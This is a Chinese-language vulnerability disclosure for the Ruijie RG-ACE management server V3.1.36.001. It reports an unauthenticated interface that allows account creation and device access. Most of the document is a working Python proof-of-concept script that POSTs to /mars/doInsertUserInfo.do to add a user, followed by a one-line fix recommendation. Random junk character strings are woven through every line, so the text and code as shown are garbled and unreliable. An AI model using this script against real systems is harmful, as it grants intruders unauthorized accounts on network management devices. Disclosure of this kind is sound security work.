锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
/ W8 w; A9 ~+ {9 n& u
0 Z* @# w, R$ H1 [6 Y' d( \( G$ X8 F# _1 I; D
测试的具体版本是
8 y A0 [5 o2 z5 B J6 n$ z产品名称: 锐捷应用控制引擎
2 Z( q6 ~* Z$ |" p版本号: 3.1.36.001 TC
0 |, C9 C; m+ O0 N编译时间: 201104291730
4 T, I, U/ A K . U1 e7 U; X9 T7 S; C; W
: e/ l4 T' w: S' g7 p' q- T
漏洞证明:
0 E. Q1 G5 d: `% F. w7 ^8 a * m; H+ T* j4 b( K% A
3 Y0 \+ }$ z' Q) M& X. o# N% E& E* Z
& _# j- h5 m' _8 @( @8 q$ f) M# v5 R) W$ @- J; S; v! \
# F. m2 l2 T) i& \ W6 x
g( j% F) @' k( E7 ]% t2 c5 S& A
执行脚本8 P4 g& ^" d* A. B/ c
#! /usr/bin/env python7 q& D( | d" A8 l( \
#coding=gbk
& r A. I9 }4 j: ~' C; Q7 n#RG-ACE管理服务器 V3.1.36.001# f9 Y& L$ a% h
import urllib2, urllib,cookielib$ y7 l7 E- z' Z3 J, M
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP/ b8 d- r6 t1 g; `9 i& P
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))! p. P( \* G6 z2 i
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
4 I# X: [2 z. {- W' qpost=(("event","userManager.doInsertUserInfo"),7 I5 b6 v% E7 X3 `+ ~0 z
("useractionname","addButtonValue"),) s5 y, G# `, W& ]' ]
("useropermanager","userManager"),
/ _ w }3 E6 R; W8 j("userName","t"), #######账号自己加
7 Q- Z: {! I) T( W$ s {("pwd","aaaaaa"),######密码自己加/ l4 u/ W5 d* \; F9 W* T4 B
("trueName","ad"),: T0 `8 \. Z' F: |9 b
("email",""),# J7 q) H8 L& g
("mobilePhone",""),7 r" E' O7 b# q3 w/ p
("officePhone",""),
, I" x F& ^) t: x+ }8 N) z8 O("addr",""),
( L* [! y% \' L2 K" {("submit","确定"))
4 ?" W! e h# D& Lurllib2.install_opener(opener)) w/ d. \4 T7 x6 q
p=urllib2.urlopen(url, urllib.urlencode(post)).read()5 }( M9 |2 V0 a( p3 f
print "Done"
- \0 `# P9 X2 ^$ k- [( ^0 k. l: c: s: L" W& G/ E
登录,连接设备/ ~$ I% o) x/ G% d* ^5 Z* H b% _2 L
; ?$ g1 `+ P) A" M, ]. H* k S$ `& Z, n% P: N, t" m
7 p e* c: c {" s5 y
7 {4 n8 K7 g3 S2 d, @4 f" \
/ x8 f, s, B7 e5 `( q# \
默认的管理员admin权限更大点+ V, O* u2 V- s0 z. Z- W* M
* P c, [9 L$ O6 m
$ }- C6 ~' e4 f
) k* U1 `( V6 a ! C* l# Z- ?+ [. Y. W( P
! u% d: U7 j3 ]! w修复方案:
" ]: |% S" o/ P- [0 Q. o# G' G2 E加强对接口的权限验证( x# d7 I5 Q; {1 K" j/ D) x+ D9 n
z6 I; b; l: d$ \& c4 g |